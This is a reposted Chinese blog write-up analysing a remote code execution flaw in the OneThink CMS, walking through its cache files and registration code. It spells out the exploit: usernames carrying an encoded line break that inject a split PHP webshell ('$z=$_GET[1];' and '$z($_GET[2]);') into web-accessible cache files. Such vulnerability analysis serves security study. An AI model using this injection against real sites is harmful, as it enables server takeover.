IT学习网 - 爱学习 - 最具影响力综合资讯网站 -- 中国IT界的领航者!
热门关键字:      88888  as  xxx
站外
广告
站外
广告

onethink最新通杀getshell定位分析

发布时间:2016-04-27 14:53文章来源:未知文章作者: IT学习网点击次数:
1、为何分析这个漏洞? 由于onethink我也是经常使用,源码也是经常修改,自己也发现一些小漏洞比如后台插件地方可以写入shell. 关于getshell倒是没有发现,除了thinkphp爆出其他几个安全漏洞会影响到OT,其他倒也是比较安全。/2怎么分析? 2、从哪里入手? 先
1、为何分析这个漏洞?
      由于onethink我也是经常使用,源码也是经常修改,自己也发现一些小漏洞比如后台插件地方可以写入shell.
关于getshell倒是没有发现,除了thinkphp爆出其他几个安全漏洞会影响到OT,其他倒也是比较安全。/2怎么分析?
2、从哪里入手?
先看看厂商的回复 
厂商回复:
感谢反馈,这个漏洞的根源在于可以访问到缓存文件,先不说部署的问题,其实ThinkPHP 内置了解决此问题的方案 只是大家都不用而已。设置DATA_CACHE_KEY参数为一个随机字符串即可,github上的onethink版本我做了一些调整。
3、猜测
我们可以发现这个漏洞出现在缓存文件部分可以被访问,也就是说是通过写入缓存文件?来shell?
4、源码分析和测试
下载OT源码解压安装,可以发现onethink的缓存或下载OT源码解压安装,可以发现onethink的缓存或者说TP的缓存默认是以文件形式缓存到Runtime目录下,并且是可以直接通过web方式进行访问的。



那么就是说我们要有权限修改这些缓存文件。
  • ├─Runtime 运行时目录
  • │ ├─Cache 模版缓存目录
  • │ ├─Data 数据目录
  • │ ├─Logs 日志目录
  • │ └─Temp 缓存目录



回到网站安装页面,可以看到我们可以操作的也就是可控的只有用户注册,用户登录。
先注册一个账号登陆上去看看都能操作什么。




登陆之后只能修改密码,好吧我们回过头来看继续看缓存。

缓存目录多了一个文件865e8245bc0c525aa4a48bfb433d7c3e.php。
分别打开缓存文件看看里面都是什么。
cbc58bd3cdec352c980d0ad729b5c219.php
<?php
//000000000000a:1:{i:2;a:28:{s:2:"id";s:1:"2";s:4:"name";s:12:"default_blog";s:5:"title";s:12:"默认分类";s:3:"pid";s:1:"1";s:4:"sort";s:1:"1";s:8:"list_row";s:2:"10";s:10:"meta_title";s:0:"";s:8:"keywords";s:0:"";s:11:"description";s:0:"";s:14:"template_index";s:0:"";s:14:"template_lists";s:0:"";s:15:"template_detail";s:0:"";s:13:"template_edit";s:0:"";s:5:"model";s:3:"2,3";s:9:"model_sub";s:1:"2";s:4:"type";s:5:"2,1,3";s:7:"link_id";s:1:"0";s:13:"allow_publish";s:1:"1";s:7:"display";s:1:"1";s:5:"reply";s:1:"0";s:5:"check";s:1:"1";s:11:"reply_model";s:1:"1";s:6:"extend";s:0:"";s:11:"create_time";s:10:"1379475028";s:11:"update_time";s:10:"1386839751";s:6:"status";s:1:"1";s:4:"icon";s:1:"0";s:6:"groups";s:0:"";}}
?>
2bb202459c30a1628513f40ab22fa01a.php
<?php
//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:6:"你好";}
?>
4e819c837d54a6ed09abc77a8560a66f.php
<?php
//000000000000a:13:{s:8:"app_init";a:2:{i:0;s:26:"Behavior\BuildLiteBehavior";i:1;s:32:"Common\Behavior\InitHookBehavior";}s:9:"app_begin";a:1:{i:0;s:30:"Behavior\ReadHtmlCacheBehavior";}s:7:"app_end";a:1:{i:0;s:30:"Behavior\ShowPageTraceBehavior";}s:10:"view_parse";a:1:{i:0;s:30:"Behavior\ParseTemplateBehavior";}s:15:"template_filter";a:1:{i:0;s:31:"Behavior\ContentReplaceBehavior";}s:11:"view_filter";a:1:{i:0;s:31:"Behavior\WriteHtmlCacheBehavior";}s:16:"documentEditForm";a:1:{i:0;s:33:"Addons\Attachment\AttachmentAddon";}s:19:"documentDetailAfter";a:2:{i:0;s:33:"Addons\Attachment\AttachmentAddon";i:1;s:39:"Addons\SocialComment\SocialCommentAddon";}s:20:"documentSaveComplete";a:1:{i:0;s:33:"Addons\Attachment\AttachmentAddon";}s:23:"documentEditFormContent";a:1:{i:0;s:25:"Addons\Editor\EditorAddon";}s:16:"adminArticleEdit";a:1:{i:0;s:41:"Addons\EditorForAdmin\EditorForAdminAddon";}s:10:"AdminIndex";a:3:{i:0;s:29:"Addons\SiteStat\SiteStatAddon";i:1;s:33:"Addons\SystemInfo\SystemInfoAddon";i:2;s:27:"Addons\DevTeam\DevTeamAddon";}s:12:"topicComment";a:1:{i:0;s:25:"Addons\Editor\EditorAddon";}}
?>
865e8245bc0c525aa4a48bfb433d7c3e.php
<?php
//000000000000a:1:{s:2:"u2";s:6:"你好";}
?>


我们可以看到2bb202459c30a1628513f40ab22fa01a.php与865e8245bc0c525aa4a48bfb433d7c3e.php中缓存了我们的用户名之外,其它并没有任何可控位置。cbc58bd3cdec352c980d0ad729b5c219.php缓存了栏目分类,但是前台用户并不能创建栏目。
那么如果我们看看用户名的过滤规则。
Application\Home\Controller\UserController.class.php
/* 注册页面 */
public function register($username = '', $password = '', $repassword = '', $email = '', $verify = ''){
        if(!C('USER_ALLOW_REGISTER')){
            $this->error('注册已关闭');
        }
  if(IS_POST){ //注册用户
   /* 检测验证码 */
   if(!check_verify($verify)){
    $this->error('验证码输入错误!');
   }

   /* 检测密码 */
   if($password != $repassword){
    $this->error('密码和重复密码不一致!');
   }   

   /* 调用注册接口注册用户 */
            $User = new UserApi;
   $uid = $User->register($username, $password, $email);
   if(0 < $uid){ //注册成功
    //TODO: 发送验证邮件
    $this->success('注册成功!',U('login'));
   } else { //注册失败,显示错误信息
    $this->error($this->showRegError($uid));
   }

  } else { //显示注册表单
   $this->display();
  }
}
追踪到Application\User\Api\UserApi.class.php
protected function _init(){
        $this->model = new UcenterMemberModel();
    }
    public function register($username, $password, $email, $mobile = ''){
        return $this->model->register($username, $password, $email, $mobile);
    }
继续看\Application\User\Model\UcenterMemberModel.class.php对于用户名的验证
/* 用户模型自动验证 */
protected $_validate = array(
  /* 验证用户名 */
  array('username', '1,30', -1, self::EXISTS_VALIDATE, 'length'), //用户名长度不合法
  array('username', 'checkDenyMember', -2, self::EXISTS_VALIDATE, 'callback'), //用户名禁止注册
  array('username', '', -3, self::EXISTS_VALIDATE, 'unique'), //用户名被占用
可以看到1和3可以忽略不影响,看看2自定义函数checkDenyMember
protected function checkDenyMember($username){
  return true; //TODO: 暂不限制,下一个版本完善
}
也就是说整个过程中用户名没有任何判断,中文、特殊字符都可以插入。那么就好办了,如果我们在用户名中插入一句话?会怎么样?
接下来看看数据结构



username char 长度16,一句话木马呢? eval($_GET[c]); 这个长度不够啊。而且缓存内容是被//000000000注释掉的。这可怎么办?
现在需要解决一句话木马字符太长和一句话会被注释掉的问题。
如何攻克被注释的问题?
由于上面username没有过滤\r\n,那么如果我们提交注册的用户插入一个换行符呢?这样是不是就能把注释避开?测试一下看看。






可以发现%0d%0a 回车换行url编码 成功让PHP缓存文件换行。
如何解决一句话字符数太长?
这个相对比较简单 eval($_GET[c]);分成两段  $z=$_GET[1]; $z($_GET[2]); ,然后注册两个带换行符的用户并登陆。
由于$a123";}后面有";},为了使文件不报错那么我们应该注册$z=$_GET[1];\\ 和 $z($_GET[2]); 两个用户  ,php结尾;可以忽略那么就是$z=$_GET[1];\\和$z($_GET[2])
5、成功


至此此次分析到此为止
onethink最新通杀getshell定位分析
本文由 IT学习网 整理,转载请注明“转自IT学习网”,并附上链接。
原文链接:http://www.ourlove520.com/Article/diannao/wangluo/227731.html

标签分类:

上一篇:上一篇: 连接mysql的方法
下一篇: 下一篇:對我校資訊安全做的滲透測試
无觅关联推荐,快速提升流量